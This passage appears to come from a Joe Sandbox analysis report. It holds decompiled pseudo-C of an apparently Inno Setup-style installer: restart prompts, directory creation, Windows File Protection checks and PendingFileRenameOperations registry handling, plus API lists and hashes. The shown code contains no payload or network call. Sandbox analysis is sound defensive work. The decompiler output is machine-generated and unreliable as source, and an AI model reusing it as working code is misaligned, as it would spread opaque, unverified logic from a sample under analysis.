                                                          				if(_t56 == 0) {
                                                          					E00408DC4();
                                                          				}
                                                          				E00414D00( *((intOrPtr*)( *0x4adf64 + 0x208)),  &_v20, _t202);
                                                          				E00403598(0x4ae22c, 0x4adf64, _v20, _t194, _t195);
                                                          				_t63 = E00465458( *0x4adf64, 0x4adf64, _t151, _t194, _t195, _t202);
                                                          				_t203 = _t63;
                                                          				if(_t63 == 0) {
                                                          					E00408DC4();
                                                          				}
                                                          				E00414D00( *((intOrPtr*)( *0x4adf64 + 0x20c)),  &_v20, _t203);
                                                          				E00403598(0x4ae230, 0x4adf64, _v20, _t194, _t195);
                                                          				 *0x4ae234 = E0042B2DC( *((intOrPtr*)( *0x4adf64 + 0x210)));
                                                          				 *0x4ae238 = E00463118( *0x4adf64);
                                                          				_push(0);
                                                          				_t170 =  *0x4ae23c; // 0x21c29f4
                                                          				E00463364( *0x4adf64, 0x4adf64, 0, _t170, _t194, _t195);
                                                          				_t171 =  *0x4ae240; // 0x21c2a20
                                                          				E004634D4( *0x4adf64, 0x4adf64, 0, _t171, _t194, _t195, 0, 0);
                                                          				_t204 =  *0x4adfb8;
                                                          				if( *0x4adfb8 != 0) {
                                                          					E0046F754( *0x4adfb8, 0x4adf64, _t194, _t195, _t204);
                                                          				}
                                                          				_t78 =  *0x48d628; // 0x21c2410
                                                          				E004243F4(_t78);
                                                          				 *((intOrPtr*)( *_v8 + 0x50))();
                                                          				_t205 =  *0x4ae24d - 1;
                                                          				if( *0x4ae24d == 1) {
                                                          					_t142 =  *0x48d628; // 0x21c2410
                                                          					SetActiveWindow( *(_t142 + 0x20));
                                                          					E0042301C( *0x4adf64);
                                                          				}
                                                          				 *((intOrPtr*)( *((intOrPtr*)( *0x4adf64)) + 0x50))();
                                                          				E00476D40(_v8, 0, 1);
                                                          				E0046D0B4( &_v10, 0x4adf64, 0, _t194, _t195, _t205, _t208); // executed
                                                          				if(_v10 != 0) {
                                                          					E004773BC(0x4adf64, 1, _t194, _t195, _t198); // executed
                                                          					E00476D40(_v8, 1, 2);
                                                          					__eflags =  *0x4ae17e & 0x00000001;
                                                          					if(( *0x4ae17e & 0x00000001) != 0) {
                                                          						SHChangeNotify(0x8000000, 0, 0, 0);
                                                          					}
                                                          					__eflags =  *0x4ae181 & 0x00000004;
                                                          					if(( *0x4ae181 & 0x00000004) != 0) {
                                                          						E004545BC(1);
                                                          					}
                                                          					__eflags =  *0x4ae24d;
                                                          					if( *0x4ae24d != 0) {
                                                          						E00423014();
                                                          					}
                                                          					_v28 =  *0x0048CA40;
                                                          					_v24 = 0xb;
                                                          					E00455A04("Need to restart Windows? %s", 0x4adf64, 0,  &_v28, _t194, _t195);
                                                          					__eflags =  *0x4ae256;
                                                          					if( *0x4ae256 == 0) {
                                                          						__eflags =  *0x4ae294;
                                                          						if( *0x4ae294 == 0) {
                                                          							E004603D4(0x50,  &_v16);
                                                          						} else {
                                                          							E004603D4(0x4f,  &_v16);
                                                          						}
                                                          						E004035DC( &_v32, _v16);
                                                          						E004036C4( &_v32, 0x4779c4);
                                                          						_t180 =  *0x48dbd4; // 0x21d9208
                                                          						E004036C4( &_v32, _t180);
                                                          						E00462CBC( *0x4adf64, 0x4adf64, 0, _v32, _t194, _t195, __eflags);
                                                          						_t158 =  *0x4ae240; // 0x21c2a20
                                                          						_t182 =  *0x4ae23c; // 0x21c29f4
                                                          						E00462D84( *0x4adf64, 0x4adf64, _t158, _t182, _t194, _t195);
                                                          						_t110 =  *((intOrPtr*)( *( *( *((intOrPtr*)( *0x4adf64 + 0x2d0)) + 0xfc)) + 0x10))();
                                                          						_t110 = _t110 > 0;
                                                          						E00414C5C( *((intOrPtr*)( *0x4adf64 + 0x2d0)), _t158,  *( *( *((intOrPtr*)( *0x4adf64 + 0x2d0)) + 0xfc)) & 0xffffff00 | _t110 > 0x00000000, _t194);
                                                          					} else {
                                                          						__eflags =  *0x4adfbf;
                                                          						if(__eflags == 0) {
                                                          							E004603D4(0x51,  &_v32);
                                                          							E00462CBC( *0x4adf64, 0x4adf64, 0, _v32, _t194, _t195, __eflags);
                                                          							E00414C5C( *((intOrPtr*)( *0x4adf64 + 0x258)), 0, 1, _t194);
                                                          							E00414C5C( *((intOrPtr*)( *0x4adf64 + 0x25c)), 0, 1, _t194);
                                                          						}
                                                          					}
                                                          					__eflags =  *0x4ae24d;
                                                          					if( *0x4ae24d == 0) {
                                                          						_t121 =  *0x48d628; // 0x21c2410
                                                          						E004243F4(_t121);
                                                          						 *((intOrPtr*)( *_v8 + 0x50))();
                                                          					}
                                                          					_v9 = 1;
                                                          					_pop(_t185);
                                                          					 *[fs:eax] = _t185;
                                                          				} else {
                                                          					E00476544();
                                                          					_pop(_t193);
                                                          					 *[fs:eax] = _t193;
                                                          				}
                                                          				_pop(_t186);
                                                          				 *[fs:eax] = _t186;
                                                          				_push(0x47798e);
                                                          				E00403548( &_v32);
                                                          				E00403548( &_v20);
                                                          				return E00403548( &_v16);
                                                          			}





























                                                          0x00477688
                                                          0x00477688
                                                          0x00477688
                                                          0x00477688
                                                          0x00477689
                                                          0x0047768b
                                                          0x0047768e
                                                          0x0047768f
                                                          0x00477690
                                                          0x00477693
                                                          0x00477696
                                                          0x00477699
                                                          0x0047769c
                                                          0x004776a6
                                                          0x004776a7
                                                          0x004776ac
                                                          0x004776af
                                                          0x004776b2
                                                          0x004776b8
                                                          0x004776b9
                                                          0x004776be
                                                          0x004776c1
                                                          0x004776c6
                                                          0x004776cb
                                                          0x004776cd
                                                          0x004776cf
                                                          0x004776cf
                                                          0x004776df
                                                          0x004776ec
                                                          0x004776f3
                                                          0x004776f8
                                                          0x004776fa
                                                          0x004776fc
                                                          0x004776fc
                                                          0x0047770c
                                                          0x00477719
                                                          0x0047772b
                                                          0x00477737
                                                          0x0047773c
                                                          0x00477740
                                                          0x00477748
                                                          0x00477753
                                                          0x0047775b
                                                          0x00477760
                                                          0x00477767
                                                          0x0047776e
                                                          0x0047776e
                                                          0x00477773
                                                          0x00477778
                                                          0x00477782
                                                          0x00477785
                                                          0x0047778c
                                                          0x0047778e
                                                          0x00477797
                                                          0x0047779e
                                                          0x0047779e
                                                          0x004777a7
                                                          0x004777b1
                                                          0x004777b9
                                                          0x004777c2
                                                          0x004777d7
                                                          0x004777e4
                                                          0x004777e9
                                                          0x004777f0
                                                          0x004777fd
                                                          0x004777fd
                                                          0x00477802
                                                          0x00477809
                                                          0x0047780b
                                                          0x0047780b
                                                          0x00477810
                                                          0x00477817
                                                          0x0047781b
                                                          0x0047781b
                                                          0x0047782e
                                                          0x00477831
                                                          0x0047783f
                                                          0x00477844
                                                          0x0047784b
                                                          0x00477891
                                                          0x00477898
                                                          0x004778ab
                                                          0x0047789a
                                                          0x0047789f
                                                          0x0047789f
                                                          0x004778b6
                                                          0x004778c3
                                                          0x004778cb
                                                          0x004778d1
                                                          0x004778db
                                                          0x004778e0
                                                          0x004778e6
                                                          0x004778ee
                                                          0x00477903
                                                          0x00477908
                                                          0x0047790d
                                                          0x0047784d
                                                          0x0047784d
                                                          0x00477854
                                                          0x0047785f
                                                          0x00477869
                                                          0x00477878
                                                          0x00477887
                                                          0x00477887
                                                          0x00477854
                                                          0x00477912
                                                          0x00477919
                                                          0x0047791b
                                                          0x00477920
                                                          0x0047792a
                                                          0x0047792a
                                                          0x0047792d
                                                          0x00477933
                                                          0x00477936
                                                          0x004777c4
                                                          0x004777c4
                                                          0x004777cb
                                                          0x004777ce
                                                          0x004777ce
                                                          0x00477963
                                                          0x00477966
                                                          0x00477969
                                                          0x00477971
                                                          0x00477979
                                                          0x00477986

                                                          APIs
                                                          • SetActiveWindow.USER32(?,?,00000000,00477987,?,?,00000001,?), ref: 00477797
                                                          • SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 004777FD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ActiveChangeNotifyWindow
                                                          • String ID: $Need to restart Windows? %s
                                                          • API String ID: 1160245247-4200181552
                                                          • Opcode ID: d01ab587a75c5507bdcc41127d8adbccf63bb8e795f2f117ca59e628db7cccff
                                                          • Instruction ID: 83278825b1ded4e178978ad3f2fdb75ea9d9387787a6f4e2c5a5753d90fbcd93
                                                          • Opcode Fuzzy Hash: d01ab587a75c5507bdcc41127d8adbccf63bb8e795f2f117ca59e628db7cccff
                                                          • Instruction Fuzzy Hash: AE81A570A041449FDB00EF69D885BDE7BE4EF45304F5084BBE8149B3A2DB78AD05CB5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 83%
                                                          			E00467F84(signed int __eax, void* __ebx, signed int __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
                                                          				char _v8;
                                                          				signed int _v9;
                                                          				char _v10;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				intOrPtr _v32;
                                                          				intOrPtr _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				char _v48;
                                                          				char _v52;
                                                          				void* _t92;
                                                          				signed int _t103;
                                                          				intOrPtr* _t108;
                                                          				signed int _t133;
                                                          				signed int _t138;
                                                          				intOrPtr _t153;
                                                          				void* _t158;
                                                          				void* _t174;
                                                          				void* _t176;
                                                          
                                                          				_t176 = __eflags;
                                                          				_t169 = __edi;
                                                          				_t135 = __ecx;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v44 = 0;
                                                          				_v48 = 0;
                                                          				_v9 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t133 = __eax;
                                                          				E00403870(_v8);
                                                          				_push(_t174);
                                                          				_push(0x468181);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t174 + 0xffffffd0;
                                                          				_v10 = 0;
                                                          				E0042C8F0(_v8,  &_v20);
                                                          				E0042CC98(_v20, _t135,  &_v16, _t176);
                                                          				E004035DC( &_v8, _v16);
                                                          				E0042CA18(_v8, _t135,  &_v16);
                                                          				_t177 = _v16;
                                                          				if(_v16 == 0) {
                                                          					L16:
                                                          					_pop(_t153);
                                                          					 *[fs:eax] = _t153;
                                                          					_push(0x468188);
                                                          					E00403568( &_v48, 2);
                                                          					E00403568( &_v20, 2);
                                                          					return E00403548( &_v8);
                                                          				}
                                                          				_t92 = E00451474(_t133, _v8, _t177); // executed
                                                          				if(_t92 == 0) {
                                                          					_push(_a4);
                                                          					E0042C990(_v8, _t135,  &_v16);
                                                          					_push(_v16);
                                                          					_t138 =  *0x468194; // 0x2
                                                          					_pop(_t158); // executed
                                                          					E00467F84(_t133, _t133,  !_t138 & _v9, _t158, __edi, __esi, __eflags); // executed
                                                          					_v28 = _v8;
                                                          					_v24 = 0xb;
                                                          					_t142 = 0;
                                                          					E00455A04("Creating directory: %s", _t133, 0,  &_v28, __edi, __esi);
                                                          					_t103 = E00451384(_t133, _v8, __eflags); // executed
                                                          					__eflags = _t103;
                                                          					if(_t103 == 0) {
                                                          						_t133 = GetLastError();
                                                          						E00450C5C(0x2f,  &_v20, _v8);
                                                          						_v40 = _v20;
                                                          						E00406E04(_t133,  &_v44);
                                                          						_v36 = _v44;
                                                          						E0042E7A4(_t133,  &_v48);
                                                          						_v32 = _v48;
                                                          						E00450C2C(0x60, 2,  &_v40,  &_v16);
                                                          						_t142 = _v16;
                                                          						E00408DF0(_v16, 1);
                                                          						E00403264();
                                                          					}
                                                          					_v10 = 1;
                                                          					__eflags = _v9 & 0x00000008;
                                                          					if((_v9 & 0x00000008) != 0) {
                                                          						SHChangeNotify(8, 1, E00403880(_v8), 0);
                                                          						E0042C990(_v8, _t142,  &_v16);
                                                          						SHChangeNotify(0x1000, 0x1001, E00403880(_v16), 0);
                                                          					}
                                                          					L8:
                                                          					if((_v9 & 0x00000004) == 0) {
                                                          						__eflags = _v9 & 0x00000001;
                                                          						if((_v9 & 0x00000001) == 0) {
                                                          							_t171 = 2;
                                                          							__eflags = _t133;
                                                          							if(_t133 != 0) {
                                                          								_t171 = 0x22;
                                                          								__eflags = 2;
                                                          							}
                                                          							__eflags = _v9 & 0x00000008;
                                                          							if((_v9 & 0x00000008) != 0) {
                                                          								__eflags = _t171;
                                                          							}
                                                          							_v52 = _v8;
                                                          							E00456F28( *((intOrPtr*)(_a4 - 4)), _t133,  &_v52, 0x81, _t169, _t171, _t171, 0);
                                                          						}
                                                          					} else {
                                                          						_t108 =  *0x4ae274; // 0x21c2bb8
                                                          						 *((intOrPtr*)( *_t108 + 0x30))();
                                                          					}
                                                          					goto L16;
                                                          				}
                                                          				if((_v9 & 0x00000002) == 0) {
                                                          					goto L16;
                                                          				} else {
                                                          					goto L8;
                                                          				}
                                                          			}

























                                                          0x00467f84
                                                          0x00467f84
                                                          0x00467f84
                                                          0x00467f8b
                                                          0x00467f8c
                                                          0x00467f8f
                                                          0x00467f92
                                                          0x00467f95
                                                          0x00467f98
                                                          0x00467f9b
                                                          0x00467f9e
                                                          0x00467fa1
                                                          0x00467fa6
                                                          0x00467fad
                                                          0x00467fae
                                                          0x00467fb3
                                                          0x00467fb6
                                                          0x00467fb9
                                                          0x00467fc3
                                                          0x00467fce
                                                          0x00467fd9
                                                          0x00467fe4
                                                          0x00467fe9
                                                          0x00467fed
                                                          0x00468151
                                                          0x00468153
                                                          0x00468156
                                                          0x00468159
                                                          0x00468166
                                                          0x00468173
                                                          0x00468180
                                                          0x00468180
                                                          0x00467ff8
                                                          0x00467fff
                                                          0x00468013
                                                          0x0046801a
                                                          0x00468022
                                                          0x00468023
                                                          0x00468030
                                                          0x00468031
                                                          0x0046803a
                                                          0x0046803d
                                                          0x00468044
                                                          0x0046804b
                                                          0x00468055
                                                          0x0046805a
                                                          0x0046805c
                                                          0x00468063
                                                          0x00468071
                                                          0x00468079
                                                          0x00468081
                                                          0x00468089
                                                          0x00468091
                                                          0x00468099
                                                          0x004680a6
                                                          0x004680ab
                                                          0x004680b5
                                                          0x004680ba
                                                          0x004680ba
                                                          0x004680bf
                                                          0x004680c3
                                                          0x004680c7
                                                          0x004680d8
                                                          0x004680e5
                                                          0x004680fd
                                                          0x004680fd
                                                          0x00468102
                                                          0x00468106
                                                          0x0046811b
                                                          0x0046811f
                                                          0x00468121
                                                          0x00468126
                                                          0x00468128
                                                          0x0046812a
                                                          0x0046812a
                                                          0x0046812a
                                                          0x0046812d
                                                          0x00468131
                                                          0x00468133
                                                          0x00468133
                                                          0x0046813c
                                                          0x0046814c
                                                          0x0046814c
                                                          0x00468108
                                                          0x0046810f
                                                          0x00468116
                                                          0x00468116
                                                          0x00000000
                                                          0x00468106
                                                          0x00468005
                                                          0x00000000
                                                          0x0046800b
                                                          0x00000000
                                                          0x0046800b

                                                          APIs
                                                            • Part of subcall function 0042C8F0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C914
                                                            • Part of subcall function 0042CC98: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CDDE,00000000,0042CE04,?,?,?,00000000,00000000,?,0042CE19), ref: 0042CCC0
                                                          • GetLastError.KERNEL32(00000000,00468181,?,?,00000001,004AE064), ref: 0046805E
                                                          • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 004680D8
                                                          • SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 004680FD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ChangeNotify$CharErrorFullLastNamePathPrev
                                                          • String ID: Creating directory: %s
                                                          • API String ID: 2168629741-483064649
                                                          • Opcode ID: 47554987c74b114e7e9a2bcecbefe1ea355314d92b3ac265f6fb170d0ed0199d
                                                          • Instruction ID: f1b2a4cafaf6ddfc000fb5e079bd43f232d8e99a75aeb5104ee6fa7654b5a80a
                                                          • Opcode Fuzzy Hash: 47554987c74b114e7e9a2bcecbefe1ea355314d92b3ac265f6fb170d0ed0199d
                                                          • Instruction Fuzzy Hash: 68514374E00248ABDB01DFA5C982BDEB7F5AF09304F5085AAEC50B7382DB785E05CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E004532AC(void* __eax, void* __ebx, void* __edx, void* __edi, intOrPtr __esi) {
                                                          				char _v8;
                                                          				short _v8200;
                                                          				char _v8204;
                                                          				char _v8208;
                                                          				char _v8212;
                                                          				void* _t29;
                                                          				int _t41;
                                                          				void* _t46;
                                                          				intOrPtr _t62;
                                                          				char _t64;
                                                          				intOrPtr _t72;
                                                          				void* _t82;
                                                          				void* _t85;
                                                          				void* _t86;
                                                          
                                                          				_t83 = __esi;
                                                          				_t85 = _t86;
                                                          				_push(__eax);
                                                          				_t29 = 2;
                                                          				do {
                                                          					_t86 = _t86 + 0xfffff004;
                                                          					_push(_t29);
                                                          					_t29 = _t29 - 1;
                                                          				} while (_t29 != 0);
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_v8204 = 0;
                                                          				_v8208 = 0;
                                                          				_v8212 = 0;
                                                          				_v8 = 0;
                                                          				_t82 = __edx;
                                                          				_t64 = _v8;
                                                          				_push(_t85);
                                                          				_push(0x453420);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t86 + 0xfffffff4;
                                                          				if( *0x48dee4 == 0) {
                                                          					E0042D8E0( &_v8212);
                                                          					E0042C614(_v8212,  &_v8208);
                                                          					E004036C4( &_v8208, "sfc.dll");
                                                          					E00403674( &_v8204, E00403880(_v8208));
                                                          					_t62 = E0042E324(_v8204, _t64, 0x8000); // executed
                                                          					_t83 = _t62;
                                                          					if(_t83 != 0) {
                                                          						_push("SfcIsFileProtected");
                                                          						_push(_t83);
                                                          						L00405AA4();
                                                          						 *0x48dee8 = _t62;
                                                          					}
                                                          					 *0x48dee4 = 1;
                                                          				}
                                                          				if( *0x48dee8 != 0) {
                                                          					E0042C8F0(_t82,  &_v8);
                                                          					if(_t64 == 0) {
                                                          						E00452228(_v8, _t64, 0,  &_v8204, _t82, _t83);
                                                          						E004035DC( &_v8, _v8204);
                                                          					}
                                                          					_t41 = E004036BC(_v8);
                                                          					 *((short*)(_t85 + MultiByteToWideChar(0, 0, E00403880(_v8), _t41,  &_v8200, 0xfff) * 2 - 0x2004)) = 0;
                                                          					if(_v8200 == 0) {
                                                          						L11:
                                                          					} else {
                                                          						_t46 =  *0x48dee8(0,  &_v8200); // executed
                                                          						if(_t46 == 0) {
                                                          							goto L11;
                                                          						}
                                                          					}
                                                          				}
                                                          				_pop(_t72);
                                                          				 *[fs:eax] = _t72;
                                                          				_push(0x453427);
                                                          				E00403568( &_v8212, 3);
                                                          				return E00403548( &_v8);
                                                          			}

















                                                          0x004532ac
                                                          0x004532ad
                                                          0x004532af
                                                          0x004532b0
                                                          0x004532b5
                                                          0x004532b5
                                                          0x004532bb
                                                          0x004532bc
                                                          0x004532bc
                                                          0x004532c5
                                                          0x004532c6
                                                          0x004532ca
                                                          0x004532d0
                                                          0x004532d6
                                                          0x004532dc
                                                          0x004532df
                                                          0x004532e1
                                                          0x004532e5
                                                          0x004532e6
                                                          0x004532eb
                                                          0x004532ee
                                                          0x004532f8
                                                          0x00453300
                                                          0x00453311
                                                          0x00453321
                                                          0x00453339
                                                          0x00453349
                                                          0x0045334e
                                                          0x00453352
                                                          0x00453354
                                                          0x00453359
                                                          0x0045335a
                                                          0x0045335f
                                                          0x0045335f
                                                          0x00453364
                                                          0x00453364
                                                          0x00453372
                                                          0x0045337d
                                                          0x00453384
                                                          0x0045338f
                                                          0x0045339d
                                                          0x0045339d
                                                          0x004533b1
                                                          0x004533c9
                                                          0x004533db
                                                          0x004533f0
                                                          0x004533dd
                                                          0x004533e6
                                                          0x004533ee
                                                          0x00000000
                                                          0x00000000
                                                          0x004533ee
                                                          0x004533db
                                                          0x004533fc
                                                          0x004533ff
                                                          0x00453402
                                                          0x00453412
                                                          0x0045341f

                                                          APIs
                                                          • 6CAA5550.KERNEL32(00000000,SfcIsFileProtected,00000000,00453420), ref: 0045335A
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00453420), ref: 004533C4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550ByteCharMultiWide
                                                          • String ID: SfcIsFileProtected$sfc.dll
                                                          • API String ID: 1642094564-591603554
                                                          • Opcode ID: c78a64a8ea2bc536e528b24bb65ce8b604f19c6fb4c15ab23a440f949b6fe2ba
                                                          • Instruction ID: 73e14185f6058433241fe996a0a0b1c9f500e4f976e0f9fc4e1d160f36e0afea
                                                          • Opcode Fuzzy Hash: c78a64a8ea2bc536e528b24bb65ce8b604f19c6fb4c15ab23a440f949b6fe2ba
                                                          • Instruction Fuzzy Hash: DD418730A006149BEB21EF55DC85B9D77B8EB04346F5045BBF808A7292DB785F49CF18
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 55%
                                                          			E00453EC4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				void* _v8;
                                                          				void* __ecx;
                                                          				void* __ebp;
                                                          				void* _t7;
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t31;
                                                          				intOrPtr _t33;
                                                          
                                                          				_t31 = _t33;
                                                          				_t7 = E0042DD88(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v8, 1, 0); // executed
                                                          				if(_t7 != 0) {
                                                          					return _t7;
                                                          				} else {
                                                          					_push(_t31);
                                                          					_push(0x453f28);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t33;
                                                          					E00453DF8(_v8, __ebx, "PendingFileRenameOperations", __edi, __esi, _t31); // executed
                                                          					E00453DF8(_v8, __ebx, "PendingFileRenameOperations2", __edi, __esi, _t31); // executed
                                                          					_pop(_t27);
                                                          					 *[fs:eax] = _t27;
                                                          					_push(0x453f2f);
                                                          					return RegCloseKey(_v8);
                                                          				}
                                                          			}










                                                          0x00453ec5
                                                          0x00453edc
                                                          0x00453ee3
                                                          0x00453f31
                                                          0x00453ee5
                                                          0x00453ee7
                                                          0x00453ee8
                                                          0x00453eed
                                                          0x00453ef0
                                                          0x00453efc
                                                          0x00453f0b
                                                          0x00453f13
                                                          0x00453f16
                                                          0x00453f19
                                                          0x00453f27
                                                          0x00453f27

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,00453F2F,?,00000001,00000000), ref: 00453F22
                                                          Strings
                                                          • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00453ED0
                                                          • PendingFileRenameOperations, xrefs: 00453EF4
                                                          • PendingFileRenameOperations2, xrefs: 00453F03
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
                                                          • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
                                                          • API String ID: 1840404773-2115312317
                                                          • Opcode ID: 8f4bbfd5c4a88fed96999252ff7731529e2cb37fabbc43c1e63dad0514e6d855
                                                          • Instruction ID: 59f0447b945b095b32d856da5494383e771bc026b9f52268d21fdf640b3719fa
                                                          • Opcode Fuzzy Hash: 8f4bbfd5c4a88fed96999252ff7731529e2cb37fabbc43c1e63dad0514e6d855
                                                          • Instruction Fuzzy Hash: C9F0C232A44208BBDB05DA65AC13A1AB3BDC744793FA0446BF80086682DA38AE04962C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 71%
                                                          			E0046A180(char __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
                                                          				void* _v5;
                                                          				intOrPtr _v12;
                                                          				signed int _v16;
                                                          				signed int _v17;
                                                          				signed int _v24;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				char _v36;
                                                          				void* _v40;
                                                          				intOrPtr _v44;
                                                          				char _v48;
                                                          				struct _WIN32_FIND_DATAA _v368;
                                                          				char _v372;
                                                          				char _v376;
                                                          				void* _t145;
                                                          				signed int _t146;
                                                          				intOrPtr _t153;
                                                          				intOrPtr _t157;
                                                          				signed int _t178;
                                                          				int _t181;
                                                          				signed char _t201;
                                                          				signed char _t202;
                                                          				int _t205;
                                                          				void* _t219;
                                                          				intOrPtr* _t229;
                                                          				intOrPtr _t245;
                                                          				intOrPtr _t258;
                                                          				intOrPtr _t275;
                                                          				intOrPtr _t283;
                                                          				void* _t294;
                                                          				void* _t295;
                                                          				intOrPtr _t296;
                                                          
                                                          				_t292 = __esi;
                                                          				_t291 = __edi;
                                                          				_t294 = _t295;
                                                          				_t296 = _t295 + 0xfffffe8c;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v372 = 0;
                                                          				_v376 = 0;
                                                          				_v24 = 0;
                                                          				_v28 = 0;
                                                          				_v32 = 0;
                                                          				_v36 = 0;
                                                          				_v16 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v5 = __eax;
                                                          				_push(_t294);
                                                          				_push(0x46a51f);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t296;
                                                          				_push(_v12);
                                                          				_push(_v16);
                                                          				_push(_a20);
                                                          				E0040377C();
                                                          				_v17 = 0;
                                                          				_t241 =  &_v368;
                                                          				_t145 = E00451554(_v5,  &_v368, _v24, __eflags); // executed
                                                          				_v40 = _t145;
                                                          				if(_v40 == 0xffffffff) {
                                                          					_t146 = _a12;
                                                          					__eflags =  *(_t146 + 0x4c) & 0x00000020;
                                                          					if(( *(_t146 + 0x4c) & 0x00000020) == 0) {
                                                          						L23:
                                                          						__eflags = _v16;
                                                          						if(_v16 != 0) {
                                                          							_t153 = _a12;
                                                          							__eflags =  *(_t153 + 0x4d) & 0x00000002;
                                                          							if(( *(_t153 + 0x4d) & 0x00000002) != 0) {
                                                          								__eflags = _v17;
                                                          								if(_v17 == 0) {
                                                          									E004717F8( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
                                                          									_t157 = _a12;
                                                          									__eflags =  *(_t157 + 0x4b) & 0x00000010;
                                                          									if(( *(_t157 + 0x4b) & 0x00000010) != 0) {
                                                          										E0042CA40(_v36, _t241,  &_v372);
                                                          										E00403708( &_v36, _v16, _v372);
                                                          									} else {
                                                          										E004036C4( &_v36, _v16);
                                                          									}
                                                          									_t245 =  *0x46a54c; // 0x0
                                                          									E00467F84(_v5, 0, _t245, _v36, _t291, _t292, __eflags,  *((intOrPtr*)(_a24 + 8)));
                                                          									_v17 = 1;
                                                          								}
                                                          							}
                                                          						}
                                                          						E00466CF4();
                                                          						__eflags = 0;
                                                          						_pop(_t258);
                                                          						 *[fs:eax] = _t258;
                                                          						_push(0x46a526);
                                                          						E00403568( &_v376, 2);
                                                          						return E00403568( &_v36, 4);
                                                          					} else {
